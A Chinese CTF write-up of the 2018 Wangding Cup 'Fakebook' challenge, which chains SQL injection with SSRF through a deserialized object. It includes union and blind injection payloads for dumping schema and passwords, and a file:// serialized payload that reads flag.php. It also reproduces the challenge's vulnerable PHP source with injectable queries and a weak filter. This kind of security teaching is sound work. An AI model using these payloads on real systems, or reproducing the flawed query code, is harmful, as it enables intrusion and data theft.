网鼎杯2018 Fakebook(sql注入+ssrf)

通过网站功能,猜测存在ssrf,因为读和解析url_blog
但是直接在注册功能处通过file://{flag}不成功,猜测是过滤了,源码中isValidBlog确实检测了http,然后注册http://flag.php,查看后无内容返回,应该是没有回显,以$flag的形式存在

sql注入

注册后访问id存在sql注入

payload:

这个题用报错注入也能成功

1
?n0=0%20union/**/select%201,database(),3,4%23

注意select的字段位置,由源码得知数据库字段为no(int),username(char),age(int),data(char),database()是字符串,在2,4位置能报出来,但4需要unserialize,输入的内容是序列化的字符串,只能在2爆

union是联合,如果前一个select正确时,不会返回右边的select结果

盲注:

1
2
3
4
payload = '1+and+(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))={})%23'.format(i, j)
payload = '1+and+(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=test)),{},1))={})%23'.format(i,j)
payload = '1+and+(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'users\')),{},1))={})%23'.format(i,j)
payload = '1+and+(ascii(substr((select(group_concat(passwd))from(users)),{},1))={})%23'.format(i,j)

爆出来
database = ‘fakebook’
table_name = ‘users’
columns = ‘no,username,passwd,data’
data = O:8:”UserInfo”:3:{s:4:”name”;s:1:”1”;s:3:”age”;i:1;s:4:”blog”;s:20:”http://www.baidu.com";}

ssrf

unserialize data 得到UserInfo类name、age、blog
结合curl(blog),存在ssrf
在blog通过file://读取flag文件
构造payload序列化
(这题存在filescan,robots.txt->user.php.bak,可以知道UserInfo类具体内容,和blacklists,我直接猜了)
3a4827e7c285893174183153d4404356

然后通过sql注入得到

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
//$a='O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}';
//print_r(unserialize($a));
class UserInfo{
public $name = '1';
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
//echo $a;
echo serialize($a); //O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>

payload:

1
view.php?no=0%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%20from%20users%20%23

有个小技巧,不需要base64decode,直接查看chrome网页源代码得到解码后的
42d1bcc4865cf7b270958db4013ac01a

ssrf_网页源码

通过这种方式得到部分源码:

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php
$db = new DB();
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>
<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);
?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>
<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php
$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}
else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}
// var_dump($user->getBlogContents());
?>
</div>
</body>
</html>

db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php

require_once 'lib.php';
$mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook');

class DB {

function __construct() {
// $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook');
}

public function isValidUsername($username) {
global $mysqli;
$query = "select * from users where username = '{$username}'";
$res = $mysqli->query($query);
if (!$res->fetch_array()) {
return 1;
} else {
return 0;
}

}

function login($username, $passwd) {
global $mysqli;

$username = addslashes($username);
$passwd = sha512($passwd);
$query = "select * from users where username = '{$username}' and passwd = '{$passwd}'";
$res = $mysqli->query($query);

return $res->fetch_array();
}

function insertUser($username, $passwd, $data) {
global $mysqli;

$username = substr($username, 0, 100);
$username = addslashes($username);
$passwd = sha512($passwd);
$data = serialize($data);
$data = addslashes($data);

$query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')";
return $mysqli->real_query($query);
}

public function getAllUsers() {
global $mysqli;

$query = "select * from users";
$res = $mysqli->query($query);
return $res->fetch_all(MYSQLI_ASSOC);
}

public function getUserByNo($no) {
global $mysqli;

// $no = addslashes($no);
$query = "select * from users where no = {$no}";
$res = $mysqli->query($query);
if (!$res) {
echo "<p>[*] query error! ({$mysqli->error})</p>";
}

return $res->fetch_assoc();
}

public function anti_sqli($no) {
$patterns = "/union\Wselect|0x|hex/i";

return preg_match($patterns, $no);
}

}

/*
CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM;

*/